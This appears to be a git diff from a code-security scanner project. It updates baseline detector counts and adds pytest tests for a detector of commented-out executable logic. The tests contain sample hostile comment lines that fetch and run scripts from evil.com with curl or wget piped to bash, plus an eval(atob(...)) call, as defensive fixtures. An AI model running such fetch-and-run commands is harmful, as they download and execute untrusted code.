0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -719895,7 +719895,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -720073,7 +720073,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -720261,7 +720261,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -720429,7 +720429,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -720627,7 +720627,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -721421,7 +721421,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -721979,7 +721979,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -722325,7 +722325,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -722523,7 +722523,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -722736,7 +722736,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -722906,7 +722906,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -723086,7 +723086,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -723304,7 +723304,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -723472,7 +723472,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -723640,7 +723640,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -723808,7 +723808,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -723976,7 +723976,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -724154,7 +724154,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -724922,7 +724922,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -725300,7 +725300,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -725718,7 +725718,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -726808,7 +726808,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -764041,7 +764041,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -764501,7 +764501,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -764939,7 +764939,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, diff --git a/tests/ruff_audit_baseline.json b/tests/ruff_audit_baseline.json index df657fce0..8064f5b1c 100644 --- a/tests/ruff_audit_baseline.json +++ b/tests/ruff_audit_baseline.json @@ -46,7 +46,7 @@ "gitgalaxy/recorders/sbom_recorder.py:221: PERF401": "Use `list.extend` to create a transformed list", "gitgalaxy/security/security_auditor.py:359: RUF046": "Value being cast to `int` is already an integer", "gitgalaxy/security/security_auditor.py:424: PERF203": "`try`-`except` within a loop incurs performance overhead", - "gitgalaxy/security/security_lens.py:394: SIM102": "Use a single `if` statement instead of nested `if` statements", + "gitgalaxy/security/security_lens.py:401: SIM102": "Use a single `if` statement instead of nested `if` statements", "gitgalaxy/standards/config_resolver.py:254: UP045": "Use `X | None` for type annotations", "gitgalaxy/standards/config_resolver.py:255: UP045": "Use `X | None` for type annotations", "gitgalaxy/standards/config_resolver.py:256: UP045": "Use `X | None` for type annotations", diff --git a/tests/security_auditing/test_security_lens.py b/tests/security_auditing/test_security_lens.py index 67227e3df..f62e146c8 100644 --- a/tests/security_auditing/test_security_lens.py +++ b/tests/security_auditing/test_security_lens.py @@ -468,3 +468,53 @@ def test_self_propagation_ignores_ordinary_path_resolution_and_self_reads(lens): assert lens.scan_content(path_resolution)["counts"].get("self_propagation", 0) == 0 assert lens.scan_content(self_read)["counts"].get("self_propagation", 0) == 0 assert lens.scan_content(unrelated_rename)["counts"].get("self_propagation", 0) == 0 + + +def test_dead_code_detects_commented_out_execution_and_shebangs(lens): + """ + [DETECTION] A genuine commented-out execution/exfiltration trail (a `#`/`//` + line that isn't running, but describes one) must still fire, in every comment + style the pattern supports -- this is the actual threat class `dead_code` + exists to catch, and it must survive the shebang exemption below unweakened. + """ + py_style = "# curl http://evil.com/payload | bash\n" + js_style = '// eval(atob("malicious"))\n' + block_style = "/* wget http://evil.com/dropper.sh; bash dropper.sh */\n" + + assert lens.scan_content(py_style)["counts"].get("dead_code", 0) > 0 + assert lens.scan_content(js_style)["counts"].get("dead_code", 0) > 0 + assert lens.scan_content(block_style)["counts"].get("dead_code", 0) > 0 + + +def test_dead_code_ignores_interpreter_shebang_lines(lens): + """ + [FALSE POSITIVE DEFENSE] `#!/bin/bash` (and other `#!`-prefixed interpreter + directives) is not "commented-out executable logic" -- it's the line every + real shell/Python/etc. script needs to actually run. GHAS alert #847 flagged + `scripts/update_golden_masters.sh`'s own shebang under this signature because + the old pattern's bare `#` alternative didn't distinguish `#!` from a real + `#`-comment. `(?!!)` excludes only that one shape. + """ + bash_shebang = "#!/bin/bash\nset -e\necho hello\n" + python_shebang = "#!/usr/bin/env python3\nimport os\n" + + assert lens.scan_content(bash_shebang)["counts"].get("dead_code", 0) == 0 + assert lens.scan_content(python_shebang)["counts"].get("dead_code", 0) == 0 + + +def test_dead_code_ignores_prose_comments_that_merely_mention_trigger_words(lens): + """ + [FALSE POSITIVE DEFENSE] A comment explaining code behavior in prose (e.g. + documenting that a check exists for "bash" or "eval") is not itself + commented-out executable logic, provided it doesn't also contain one of the + pattern's own execution-shape markers (a pipe to an interpreter, a call + syntax, a URL). GHAS alerts #890/#908/#953/#419 all flagged exactly this + shape across prism.py, detector.py, and signal_processor.py. + """ + prose_1 = "# Scoped to the Bourne-family shell lang_id: ruby's `<<` is also the append operator\n" + prose_2 = "# This protects POSIX parameter expansions like `${var##prefix}` from being falsely stripped.\n" + prose_3 = "# 2. Check for ANY malicious intent (dynamic code execution, network fetching, etc.)\n" + + assert lens.scan_content(prose_1)["counts"].get("dead_code", 0) == 0 + assert lens.scan_content(prose_2)["counts"].get("dead_code", 0) == 0 + assert lens.scan_content(prose_3)["counts"].get("dead_code", 0) == 0